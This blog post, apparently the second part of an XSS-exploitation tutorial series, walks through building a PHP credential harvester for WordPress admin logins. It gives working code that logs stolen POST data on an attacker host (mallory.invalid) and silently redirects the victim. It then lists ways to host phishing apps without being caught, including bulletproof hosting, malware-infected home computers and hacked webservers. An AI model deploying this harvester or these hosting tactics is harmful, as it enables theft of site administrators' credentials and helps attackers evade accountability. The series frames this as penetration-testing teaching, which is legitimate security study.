In the previous post we crafted a Javascript code to exploit a recent XSS vulnerability in WordPress. It displays a fake WordPress login page to the administrator, which sends the username and password to the attacker’s host.
In today’s post we are going to learn to capture the submitted credentials on the server side. Secondly we explore a couple of options of hosting our credential harvester application.
A reliable old friend, SET
The Social-Engineer Toolkit (SET) is a fantastic application for creating and running phishing campaigns. One of its features allows the penetration tester to clone and host legitimate websites such as the Facebook login page, in addition to collect the submitted (stolen) credentials.
There is no reason to reinvent the wheel, therefore we are going to reuse and fine-tune SET’s stock harvester application:
<?php $file = 'harvester.txt'; file_put_contents($file, print_r($_POST, true), FILE_APPEND); ?> <meta http-equiv="refresh" content="0; url=http://tripelover.com" />
The logic is dead simple. Line 2 defines a filename where POST data is going to be collected, and line 3 writes POST data into this file. The meta tag (line 5) redirects the victim to the original website with the XSS vulnerability.
This PHP application need to be hosted on attacker’s web server. The <form action=” on the screenshot below confirms that the app is hosted at www.mallory.invalid/collect.php, which is operated by the attacker of course.
Let’s Get Funky
Remember that we used a hidden iframe to submit the HTML form, so the URL bar will not change in the victim’s browser? We need to fine-tune the redirection logic in first to support this improvement. Let’s change the <meta> redirection with some Javascript code.
<?php
$file = 'harvester.txt';
file_put_contents($file, print_r($_POST, true), FILE_APPEND);
?>
<script language="JavaScript" type="text/javascript">
if (self != top) {
window.top.location.href="<?=$_SERVER['HTTP_REFERER']?>";
}
</script>
The highlighted snippet shows the improved logic, that will redirect the top frame (contents of the main tab) back to the Edit Comments page. For a bonus point, we used the Referer header instead of a hard-coded value for redirecting to the appropriate location.
Time to Cash In
Our harvester app is ready for a spin! Let’s visit the faux login page again, and enter the login credentials.
And bam! The victim is redirected back to the Edit Comments page, while the URL bar never changes.
Notice the Safari notification that the password stealing iframe tried to access the contents of the WordPress site, and it was successfully prevented. Nevertheless we could still redirect the victim back to the original page.
In the meantime on Mallory’s server, the harvester application has successfully written the contents of the POST data into a text file.
The credentials are now in the attacker’s possession. We can log into the WordPress dashboard, add new posts and make other changes. However we are going to use the dashboard as a launchpad instead to run further attacks.
Hosting the Harvester
One question remains. Chances are that the police knocks on our door in the early morning is quite high if a legitimate hosting provider such as AWS is used. So how we can host this tiny PHP application without getting caught?
Without giving detailed tips to hide our tracks, these methods are typically used in phishing campaigns out in the wild:
- Bulletproof Hosting
Costs 10x more than regular hosting, however it provides anonymity amongst other perks for those with malicious intentions. I recommend the first chapters of Brian Krebs’s fine new book on the matter. - Grandma’s PC
Malware infected computers are repeatedly exploited for hosting phishing websites, sending SPAM and launching denial-of-service attacks. No, do not install that toolbar, granny. - Hacked Webservers
Compromised websites allows uploading and hosting arbitrary content such as malware or our PHP application. A simple Google search can reveal an endless supply of them. - PaaS Providers
Heroku, Google App Engine and others offer a great platform to host dynamic web applications including PHP. Many of them only requires a valid email address to register.
Summary
We crafted a small PHP application that collects the Wordpress admin credentials sent by the malicious code crafted in the previous article. Then we reviewed a few options – typically used in phishing campaigns – to host this app without revealing our true identity.
What’s Next?
Now we have our imaginary Wordpress admin’s username and password, so we can penetrate further to gain shell access. To conclude, we are going to dump the contents of the underlying database, elevate our privileges to superuser level, and use the compromised host as a pivot to compromise other systems.
Further Reading
A more sophisticated PHP app for phishing Outlook Web Access
Dissecting a harvester used in a real-life phishing campaign
This is the second part of a series demonstrating total data exfiltration by exploiting XSS
- Part 1 – WordpreXSS Exploitation
- Part 2 – XSS Harvest Festival
- Part 3 – Data Exfiltration with XSS
- Part 4 – Suit Up and Protect WordPress
